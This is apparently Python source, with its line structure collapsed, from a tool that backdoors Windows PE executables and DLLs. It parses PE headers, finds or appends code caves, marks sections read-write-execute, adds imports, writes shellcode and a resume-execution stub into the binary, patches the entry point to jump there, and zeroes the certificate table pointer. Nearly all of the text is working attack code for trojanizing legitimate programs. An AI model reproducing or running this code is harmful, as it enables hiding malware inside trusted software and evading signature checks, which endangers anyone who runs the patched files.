self.flItms['NumberofRvaAndSizes'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['ExportTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['ImportTableLOCInPEOptHdrs'] = self.binary.tell() self.flItms['ImportTableRVA'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['ImportTableSize'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['ResourceTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['ExceptionTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['CertTableLOC'] = self.binary.tell() self.flItms['CertificateTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['BaseReLocationTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['Debug'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['Architecture'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['GlobalPrt'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['TLS Table'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['LoadConfigTable'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['BoundImportLocation'] = self.binary.tell() self.flItms['BoundImport'] = struct.unpack('<Q', self.binary.read(8))[0] self.binary.seek(self.flItms['BoundImportLocation']) self.flItms['BoundImportLOCinCode'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['BoundImportSize'] = struct.unpack('<I', self.binary.read(4))[0] self.flItms['IAT'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['DelayImportDesc'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['CLRRuntimeHeader'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['Reserved'] = struct.unpack('<Q', self.binary.read(8))[0] self.flItms['BeginSections'] = self.binary.tell() if ((self.flItms['NumberOfSections'] is not 0) and ('Section' not in self.flItms)): self.flItms['Sections'] = [] for section in range(self.flItms['NumberOfSections']): sectionValues = [] sectionValues.append(self.binary.read(8)) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) sectionValues.append(struct.unpack('<H', self.binary.read(2))[0]) sectionValues.append(struct.unpack('<H', self.binary.read(2))[0]) sectionValues.append(struct.unpack('<I', self.binary.read(4))[0]) self.flItms['Sections'].append(sectionValues) if ('UPX1'.lower() in sectionValues[0].lower()): print '[*] UPX packed, continuing...' if (('.text\x00\x00\x00' == sectionValues[0]) or ('AUTO\x00\x00\x00\x00' == sectionValues[0]) or ('UPX1\x00\x00\x00\x00' == sectionValues[0]) or ('CODE\x00\x00\x00\x00' == sectionValues[0])): self.flItms['textSectionName'] = sectionValues[0] self.flItms['textVirtualAddress'] = sectionValues[2] self.flItms['textPointerToRawData'] = sectionValues[4] elif ('.rsrc\x00\x00\x00' == sectionValues[0]): self.flItms['rsrcSectionName'] = sectionValues[0] self.flItms['rsrcVirtualAddress'] = sectionValues[2] self.flItms['rsrcSizeRawData'] = sectionValues[3] self.flItms['rsrcPointerToRawData'] = sectionValues[4] self.flItms['VirtualAddress'] = self.flItms['SizeOfImage'] self.flItms['LocOfEntryinCode'] = (((self.flItms['AddressOfEntryPoint'] - self.flItms['textVirtualAddress']) + self.flItms['textPointerToRawData']) + self.flItms['LocOfEntryinCode_Offset']) else: self.flItms['LocOfEntryinCode'] = (self.flItms['AddressOfEntryPoint'] - self.flItms['LocOfEntryinCode_Offset']) self.flItms['VrtStrtngPnt'] = (self.flItms['AddressOfEntryPoint'] + self.flItms['ImageBase']) self.binary.seek(self.flItms['BoundImportLOCinCode']) self.flItms['ImportTableALL'] = self.binary.read(self.flItms['BoundImportSize']) self.flItms['NewIATLoc'] = (self.flItms['BoundImportLOCinCode'] + 40)
'Changes the user selected section to RWE for successful execution'
def change_section_flags(self, section):
print '[*] Changing flags for section:', section self.flItms['newSectionFlags'] = int('e00000e0', 16) self.binary.seek(self.flItms['BeginSections'], 0) for _ in range(self.flItms['NumberOfSections']): sec_name = self.binary.read(8) if (section in sec_name): self.binary.seek(28, 1) self.binary.write(struct.pack('<I', self.flItms['newSectionFlags'])) return else: self.binary.seek(32, 1)
'Creates new import table for missing imports in a new section'
def create_new_iat(self):
print '[*] Adding New Section for updated Import Table' with open(self.flItms['backdoorfile'], 'r+b') as self.binary: self.flItms['NewSectionSize'] = 4096 self.flItms['SectionName'] = 'rdata1' self.flItms['newSectionPointerToRawData'] = (self.flItms['Sections'][(-1)][3] + self.flItms['Sections'][(-1)][4]) self.flItms['VirtualSize'] = self.flItms['NewSectionSize'] self.flItms['SizeOfRawData'] = self.flItms['VirtualSize'] self.flItms['NewSectionName'] = ('.' + self.flItms['SectionName']) self.flItms['newSectionFlags'] = int('C0000040', 16) self.binary.seek((self.flItms['pe_header_location'] + 6), 0) self.binary.write(struct.pack('<H', (self.flItms['NumberOfSections'] + 1))) self.binary.seek(self.flItms['SizeOfImageLoc'], 0) self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] + self.flItms['SizeOfImage']) self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage'])) self.binary.seek(self.flItms['BoundImportLocation']) if (self.flItms['BoundImportLOCinCode'] != 0): self.binary.write(struct.pack('<I', (self.flItms['BoundImportLOCinCode'] + 40))) self.binary.seek((self.flItms['BeginSections'] + (40 * self.flItms['NumberOfSections'])), 0) self.binary.write((self.flItms['NewSectionName'] + ('\x00' * (8 - len(self.flItms['NewSectionName']))))) self.binary.write(struct.pack('<I', self.flItms['VirtualSize'])) self.binary.write(struct.pack('<I', self.flItms['SizeOfImage'])) self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData'])) self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData'])) if (self.VERBOSE is True): print 'New Section PointerToRawData' print self.flItms['newSectionPointerToRawData'] self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', self.flItms['newSectionFlags'])) self.binary.write(self.flItms['ImportTableALL']) self.binary.seek(self.flItms['ImportTableFileOffset'], 0) self.flItms['Import_Directory_Table'] = self.binary.read((self.flItms['ImportTableSize'] - 20)) self.binary.seek(self.flItms['newSectionPointerToRawData'], 0) self.binary.write(self.flItms['Import_Directory_Table']) self.flItms['BeginningOfNewImports'] = (self.flItms['SizeOfImage'] + len(self.flItms['Import_Directory_Table'])) self.build_imports() self.binary.write(self.flItms['addedIAT']) self.binary.write((struct.pack('<B', 0) * (((self.flItms['NewSectionSize'] - len(self.flItms['addedIAT'])) - len(self.flItms['Import_Directory_Table'])) + 20))) self.binary.seek(self.flItms['ImportTableLOCInPEOptHdrs'], 0) self.binary.write(struct.pack('<I', self.flItms['SizeOfImage'])) self.binary.write(struct.pack('<I', (len(self.flItms['Import_Directory_Table']) + (self.flItms['apiCount'] * 8)))) self.binary.seek(0) with open(self.flItms['backdoorfile'], 'r+b') as self.binary: self.gather_file_info_win() return True
'This function creates a code cave for shellcode to hide, takes in the dict from gather_file_info_win function and writes to the file and returns flItms'
def create_code_cave(self):
print '[*] Creating Code Cave' self.flItms['NewSectionSize'] = (len(self.flItms['shellcode']) + 250) self.flItms['SectionName'] = self.NSECTION self.flItms['filesize'] = os.stat(self.flItms['filename']).st_size self.flItms['newSectionPointerToRawData'] = self.flItms['filesize'] self.flItms['VirtualSize'] = int(str(self.flItms['NewSectionSize']), 16) self.flItms['SizeOfRawData'] = self.flItms['VirtualSize'] self.flItms['NewSectionName'] = ('.' + self.flItms['SectionName']) self.flItms['newSectionFlags'] = int('e00000e0', 16) self.binary.seek((self.flItms['pe_header_location'] + 6), 0) self.binary.write(struct.pack('<H', (self.flItms['NumberOfSections'] + 1))) self.binary.seek(self.flItms['SizeOfImageLoc'], 0) self.flItms['NewSizeOfImage'] = (self.flItms['VirtualSize'] + self.flItms['SizeOfImage']) self.binary.write(struct.pack('<I', self.flItms['NewSizeOfImage'])) self.binary.seek(self.flItms['BoundImportLocation']) if (self.flItms['BoundImportLOCinCode'] != 0): self.binary.write(struct.pack('<I', (self.flItms['BoundImportLOCinCode'] + 40))) self.binary.seek((self.flItms['BeginSections'] + (40 * self.flItms['NumberOfSections'])), 0) self.binary.write((self.flItms['NewSectionName'] + ('\x00' * (8 - len(self.flItms['NewSectionName']))))) self.binary.write(struct.pack('<I', self.flItms['VirtualSize'])) self.binary.write(struct.pack('<I', self.flItms['SizeOfImage'])) self.binary.write(struct.pack('<I', self.flItms['SizeOfRawData'])) self.binary.write(struct.pack('<I', self.flItms['newSectionPointerToRawData'])) if (self.VERBOSE is True): print 'New Section PointerToRawData' print self.flItms['newSectionPointerToRawData'] self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', 0)) self.binary.write(struct.pack('<I', self.flItms['newSectionFlags'])) self.binary.write(self.flItms['ImportTableALL']) self.binary.seek((self.flItms['filesize'] + 1), 0) nop = choice(intelCore.nops) if (nop > 144): self.binary.write((struct.pack('!H', nop) * (self.flItms['VirtualSize'] / 2))) else: self.binary.write((struct.pack('!B', nop) * self.flItms['VirtualSize'])) self.flItms['CodeCaveVirtualAddress'] = (self.flItms['SizeOfImage'] + self.flItms['ImageBase']) self.flItms['buffer'] = int('200', 16) self.flItms['JMPtoCodeAddress'] = ((((self.flItms['CodeCaveVirtualAddress'] - self.flItms['AddressOfEntryPoint']) - self.flItms['ImageBase']) - 5) + self.flItms['buffer'])
'This function finds all the codecaves in a inputed file. Prints results to screen'
def find_all_caves(self):
print '[*] Looking for caves' SIZE_CAVE_TO_FIND = self.SHELL_LEN BeginCave = 0 Tracking = 0 count = 1 caveTracker = [] caveSpecs = [] self.binary = open(self.FILE, 'r+b') self.binary.seek(0) while True: try: s = struct.unpack('<b', self.binary.read(1))[0] except Exception as e: break if (s == 0): if (count == 1): BeginCave = Tracking count += 1 else: if (count >= SIZE_CAVE_TO_FIND): caveSpecs.append(BeginCave) caveSpecs.append(Tracking) caveTracker.append(caveSpecs) count = 1 caveSpecs = [] Tracking += 1 for caves in caveTracker: for section in self.flItms['Sections']: sectionFound = False if ((caves[0] >= section[4]) and (caves[1] <= (section[3] + section[4])) and ((caves[1] - caves[0]) >= SIZE_CAVE_TO_FIND)): print 'We have a winner:', section[0] print '->Begin Cave', hex(caves[0]) print '->End of Cave', hex(caves[1]) print 'Size of Cave (int)', (caves[1] - caves[0]) print 'SizeOfRawData', hex(section[3]) print 'PointerToRawData', hex(section[4]) print 'End of Raw Data:', hex((section[3] + section[4])) print ('*' * 50) sectionFound = True break if (sectionFound is False): try: print 'No section' print '->Begin Cave', hex(caves[0]) print '->End of Cave', hex(caves[1]) print 'Size of Cave (int)', (caves[1] - caves[0]) print ('*' * 50) except Exception as e: print str(e) print ('[*] Total of %s caves found' % len(caveTracker)) self.binary.close()
'This function finds all code caves, allowing the user to pick the cave for injecting shellcode.'
def find_cave(self):
self.flItms['len_allshells'] = () if (self.flItms['cave_jumping'] is True): for item in self.flItms['allshells']: self.flItms['len_allshells'] += (len(item),) self.flItms['len_allshells'] += (len(self.flItms['resumeExe']),) SIZE_CAVE_TO_FIND = sorted(self.flItms['len_allshells'])[0] else: SIZE_CAVE_TO_FIND = self.flItms['shellcode_length'] self.flItms['len_allshells'] = (self.flItms['shellcode_length'],) print ('[*] Looking for caves that will fit the minimum shellcode length of %s' % SIZE_CAVE_TO_FIND) print '[*] All caves lengths: ', ', '.join([str(i) for i in self.flItms['len_allshells']]) Tracking = 0 count = 1 caveTracker = [] caveSpecs = [] self.binary.seek(0) while True: try: s = struct.unpack('<b', self.binary.read(1))[0] except: break if (s == 0): if (count == 1): BeginCave = Tracking count += 1 else: if (count >= SIZE_CAVE_TO_FIND): caveSpecs.append((BeginCave + 4)) caveSpecs.append((Tracking - 4)) caveTracker.append(caveSpecs) count = 1 caveSpecs = [] Tracking += 1 pickACave = {} for (i, caves) in enumerate(caveTracker): i += 1 for section in self.flItms['Sections']: sectionFound = False try: if ((caves[0] >= section[4]) and (caves[1] <= (section[3] + section[4])) and ((caves[1] - caves[0]) >= SIZE_CAVE_TO_FIND)): if (self.VERBOSE is True): print 'Inserting code in this section:', section[0] print '->Begin Cave', hex(caves[0]) print '->End of Cave', hex(caves[1]) print 'Size of Cave (int)', (caves[1] - caves[0]) print 'SizeOfRawData', hex(section[3]) print 'PointerToRawData', hex(section[4]) print 'End of Raw Data:', hex((section[3] + section[4])) print ('*' * 50) JMPtoCodeAddress = ((((section[2] + caves[0]) - section[4]) - 5) - self.flItms['AddressOfEntryPoint']) sectionFound = True pickACave[i] = [section[0], hex(caves[0]), hex(caves[1]), (caves[1] - caves[0]), hex(section[4]), hex((section[3] + section[4])), JMPtoCodeAddress] break except: print '-End of File Found..' break if (sectionFound is False): if (self.VERBOSE is True): print 'No section' print '->Begin Cave', hex(caves[0]) print '->End of Cave', hex(caves[1]) print 'Size of Cave (int)', (caves[1] - caves[0]) print ('*' * 50) JMPtoCodeAddress = ((((section[2] + caves[0]) - section[4]) - 5) - self.flItms['AddressOfEntryPoint']) try: pickACave[i] = [None, hex(caves[0]), hex(caves[1]), (caves[1] - caves[0]), None, None, JMPtoCodeAddress] except: print 'EOF' CavesPicked = {} if (self.PATCH_METHOD.lower() == 'automatic'): print '[*] Attempting PE File Automatic Patching' rsrcCaves = {} otherCaves = {} for (caveNumber, caveValues) in pickACave.iteritems(): if (caveValues[0] is None): continue if ('rsrc' in caveValues[0].lower()): if (caveValues[3] >= 100): rsrcCaves[caveNumber] = caveValues[3] elif (caveValues[3] >= 100): otherCaves[caveNumber] = caveValues[3] payloadDict = {} for (k, item) in enumerate(self.flItms['len_allshells']): payloadDict[k] = item trackingVar = True while True: trackSectionName = set() if ((trackingVar is True) and (len(self.flItms['len_allshells']) <= len(otherCaves))): for ref in sorted(payloadDict.items(), key=operator.itemgetter(1), reverse=True): _tempCaves = {} for (refnum, caveSize) in otherCaves.iteritems(): if (caveSize >= ref[1]): _tempCaves[refnum] = caveSize if (_tempCaves == {}): trackingVar = False break selection = choice(_tempCaves.keys()) print '[!] Selected:', (str(selection) + ':'), 'Section Name: {0}; Cave begin: {1} End: {2}; Cave Size: {3}'.format(pickACave[selection][0], pickACave[selection][1], pickACave[selection][2], pickACave[selection][3]) trackSectionName.add(pickACave[selection][0]) otherCaves.pop(selection) CavesPicked[ref[0]] = pickACave[selection] break else: print '[!] Using only the .rsrc section' for ref in sorted(payloadDict.items(), key=operator.itemgetter(1), reverse=True): _tempCaves = {} for (refnum, caveSize) in rsrcCaves.iteritems(): if (caveSize >= ref[1]): _tempCaves[refnum] = caveSize if (_tempCaves == {}): trackingVar = False break selection = choice(_tempCaves.keys()) print '[!] Selected:', (str(selection) + ':'), 'Section Name: {0}; Cave begin: {1} End: {2}; Cave Size: {3}'.format(pickACave[selection][0], pickACave[selection][1], pickACave[selection][2], pickACave[selection][3]) trackSectionName.add(pickACave[selection][0]) rsrcCaves.pop(selection) CavesPicked[ref[0]] = pickACave[selection] break if (len(CavesPicked) != len(self.flItms['len_allshells'])): print '[!] Did not find suitable caves - trying next method' if (self.flItms['cave_jumping'] is True): return 'single' else: return 'append' if (self.CHANGE_ACCESS is True): for cave in trackSectionName: self.change_section_flags(cave) elif (self.PATCH_METHOD.lower() == 'manual'): print "############################################################\nThe following caves can be used to inject code and possibly\ncontinue execution.\n**Don't like what you see? Use jump, single, append, or ignore.**\n############################################################" for (k, item) in enumerate(self.flItms['len_allshells']): print '[*] Cave {0} length as int: {1}'.format((k + 1), item) print '[*] Available caves: ' if (pickACave == {}): print "[!!!!] No caves available! Use 'j' for cave jumping or" print "[!!!!] 'i' for ignore." for (ref, details) in pickACave.iteritems(): if (details[3] >= item): print (str(ref) + '.'), 'Section Name: {0}; Section Begin: {4} End: {5}; Cave begin: {1} End: {2}; Cave Size: {3}'.format(details[0], details[1], details[2], details[3], details[4], details[5], details[6]) while True: try: self.CAVE_MINER_TRACKER except: self.CAVE_MINER_TRACKER = 0 print ('*' * 50) selection = raw_input('[!] Enter your selection: ') try: selection = int(selection) print ('[!] Using selection: %s' % selection) try: if (self.CHANGE_ACCESS is True): if (pickACave[selection][0] is not None): self.change_section_flags(pickACave[selection][0]) CavesPicked[k] = pickACave[selection] break except: print '[!!!!] User selection beyond the bounds of available caves.' print '[!!!!] Try a number or the following commands:' print '[!!!!] append or a, jump or j, ignore or i, single or s' print '[!!!!] TRY AGAIN.' continue except: pass breakOutValues = ['append', 'jump', 'single', 'ignore', 'a', 'j', 's', 'i'] if (selection.lower() in breakOutValues): return selection return CavesPicked
'This module jumps to .rsrc section and checks for the following string: requestedExecutionLevel level="highestAvailable"'
def runas_admin(self):
runas_admin = False print '[*] Checking Runas_admin' if ('rsrcPointerToRawData' in self.flItms): self.binary.seek(self.flItms['rsrcPointerToRawData'], 0) search_lngth = len('requestedExecutionLevel level="highestAvailable"') data_read = 0 while (data_read < self.flItms['rsrcSizeRawData']): self.binary.seek((self.flItms['rsrcPointerToRawData'] + data_read), 0) temp_data = self.binary.read(search_lngth) if (temp_data == 'requestedExecutionLevel level="highestAvailable"'): runas_admin = True break data_read += 1 if (runas_admin is True): print ('[*] %s must run with highest available privileges' % self.FILE) else: print ('[*] %s does not require highest available privileges' % self.FILE) return runas_admin
'This function is for checking if the current exe/dll is supported by this program. Returns false if not supported, returns flItms if it is.'
def support_check(self):
print '[*] Checking if binary is supported' self.flItms['supported'] = False self.binary = open(self.FILE, 'r+b') if (self.binary.read(2) != 'MZ'): print ('%s not a PE File' % self.FILE) return False self.gather_file_info_win() if (self.flItms is False): return False if (MachineTypes[hex(self.flItms['MachineType'])] not in supported_types): for item in self.flItms: print (item + ':'), self.flItms[item] print ('This program does not support this format: %s' % MachineTypes[hex(self.flItms['MachineType'])]) else: self.flItms['supported'] = True targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) if (((self.flItms['Characteristics'] - 8192) > 0) and (self.PATCH_DLL is False)): return False if ((self.flItms['Magic'] == int('20B', 16)) and ((self.IMAGE_TYPE == 'ALL') or (self.IMAGE_TYPE == 'x64'))): targetFile.pe64_entry_instr() elif ((self.flItms['Magic'] == int('10b', 16)) and ((self.IMAGE_TYPE == 'ALL') or (self.IMAGE_TYPE == 'x86'))): targetFile.pe32_entry_instr() else: self.flItms['supported'] = False if (self.CHECK_ADMIN is True): self.flItms['runas_admin'] = self.runas_admin() if (self.VERBOSE is True): self.print_flItms(self.flItms) if (self.flItms['supported'] is False): return False self.binary.close()
'This function operates the sequence of all involved functions to perform the binary patching.'
def patch_pe(self):
print '[*] In the backdoor module' if (self.INJECTOR is False): os_name = os.name if (not os.path.exists('backdoored')): os.makedirs('backdoored') if (os_name == 'nt'): self.OUTPUT = ('backdoored\\' + self.OUTPUT) else: self.OUTPUT = ('backdoored/' + self.OUTPUT) issupported = self.support_check() if (issupported is False): return None self.flItms['NewCodeCave'] = self.ADD_SECTION self.flItms['cave_jumping'] = self.CAVE_JUMPING self.flItms['CavesPicked'] = {} self.flItms['LastCaveAddress'] = 0 self.flItms['stager'] = False self.flItms['supplied_shellcode'] = self.SUPPLIED_SHELLCODE self.flItms['CavesToFix'] = {} if (self.check_shells() is False): return False self.flItms['backdoorfile'] = self.OUTPUT shutil.copy2(self.FILE, self.flItms['backdoorfile']) if ('apis_needed' in self.flItms): self.check_apis(self.FILE) if (self.flItms['neededAPIs'] != set()): self.create_new_iat() print '[*] Checking updated IAT for thunks' self.check_apis(self.flItms['backdoorfile']) self.binary = open(self.flItms['backdoorfile'], 'r+b') if ((self.set_shells() is False) or (self.flItms['allshells'] is False)): return False targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) if (self.flItms['Magic'] == int('20B', 16)): (_, self.flItms['resumeExe']) = targetFile.resume_execution_64() else: (_, self.flItms['resumeExe']) = targetFile.resume_execution_32() shellcode_length = len(self.flItms['shellcode']) self.flItms['shellcode_length'] = (shellcode_length + len(self.flItms['resumeExe'])) caves_set = False while ((caves_set is False) and (self.flItms['NewCodeCave'] is False)): self.flItms['CavesPicked'] = self.find_cave() if (type(self.flItms['CavesPicked']) == str): if (self.flItms['CavesPicked'].lower() in ['append', 'a']): self.flItms['JMPtoCodeAddress'] = None self.flItms['CodeCaveLOC'] = 0 self.flItms['cave_jumping'] = False self.flItms['CavesPicked'] = {} print '[!] Appending new section for payload' self.set_shells() caves_set = True elif (self.flItms['CavesPicked'].lower() in ['jump', 'j']): self.flItms['JMPtoCodeAddress'] = None self.flItms['CodeCaveLOC'] = 0 self.flItms['cave_jumping'] = True self.flItms['CavesPicked'] = {} print '-resetting shells' self.set_shells() continue elif (self.flItms['CavesPicked'].lower() in ['single', 's']): self.flItms['JMPtoCodeAddress'] = None self.flItms['CodeCaveLOC'] = 0 self.flItms['cave_jumping'] = False self.flItms['CavesPicked'] = {} print '-resetting shells' self.set_shells() continue elif (self.flItms['CavesPicked'].lower() in ['ignore', 'i']): return None elif (self.flItms['CavesPicked'] is None): return None else: self.flItms['JMPtoCodeAddress'] = self.flItms['CavesPicked'].iteritems().next()[1][6] caves_set = True if (self.flItms['CavesPicked'] != {}): for (cave, values) in self.flItms['CavesPicked'].iteritems(): self.flItms['CavesToFix'][cave] = [((values[6] + 5) + self.flItms['AddressOfEntryPoint']), self.flItms['len_allshells'][cave]] if ((self.flItms['JMPtoCodeAddress'] is None) or (self.flItms['NewCodeCave'] is True)): self.create_code_cave() self.flItms['NewCodeCave'] = True print '- Adding a new section to the exe/dll for shellcode injection' else: self.flItms['LastCaveAddress'] = self.flItms['CavesPicked'][(len(self.flItms['CavesPicked']) - 1)][6] targetFile = intelCore(self.flItms, self.binary, self.VERBOSE) targetFile.patch_initial_instructions() if (self.flItms['Magic'] == int('20B', 16)): (ReturnTrackingAddress, self.flItms['resumeExe']) = targetFile.resume_execution_64() else: (ReturnTrackingAddress, self.flItms['resumeExe']) = targetFile.resume_execution_32() self.set_shells() if (self.flItms['cave_jumping'] is True): if (self.flItms['stager'] is False): temp_jmp = '\xe9' breakupvar = eat_code_caves(self.flItms, 1, 2) test_length = (((int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16)) - len(self.flItms['allshells'][1])) - 5) if (test_length < 0): temp_jmp += struct.pack('<I', (4294967295 - abs(((breakupvar - len(self.flItms['allshells'][1])) - 4)))) else: temp_jmp += struct.pack('<I', ((breakupvar - len(self.flItms['allshells'][1])) - 5)) self.flItms['allshells'] += (self.flItms['resumeExe'],) self.flItms['completeShellcode'] = (self.flItms['shellcode'] + self.flItms['resumeExe']) if (self.flItms['NewCodeCave'] is True): self.binary.seek((self.flItms['newSectionPointerToRawData'] + self.flItms['buffer'])) self.binary.write(self.flItms['completeShellcode']) if (self.flItms['cave_jumping'] is True): for (i, item) in self.flItms['CavesPicked'].iteritems(): self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16)) self.binary.write(self.flItms['allshells'][i]) if ((i == (len(self.flItms['CavesPicked']) - 2)) and (self.flItms['stager'] is False)): self.binary.write(temp_jmp) else: for (i, item) in self.flItms['CavesPicked'].iteritems(): if (i == 0): self.binary.seek(int(self.flItms['CavesPicked'][i][1], 16)) self.binary.write(self.flItms['completeShellcode']) if ((self.ZERO_CERT is True) and (self.flItms['CertificateTable'] != 0)): print '[*] Overwriting certificate table pointer' self.binary.seek(self.flItms['CertTableLOC'], 0) self.binary.write('\x00\x00\x00\x00\x00\x00\x00\x00') self.binary.close() if (self.VERBOSE is True): self.print_flItms(self.flItms) return True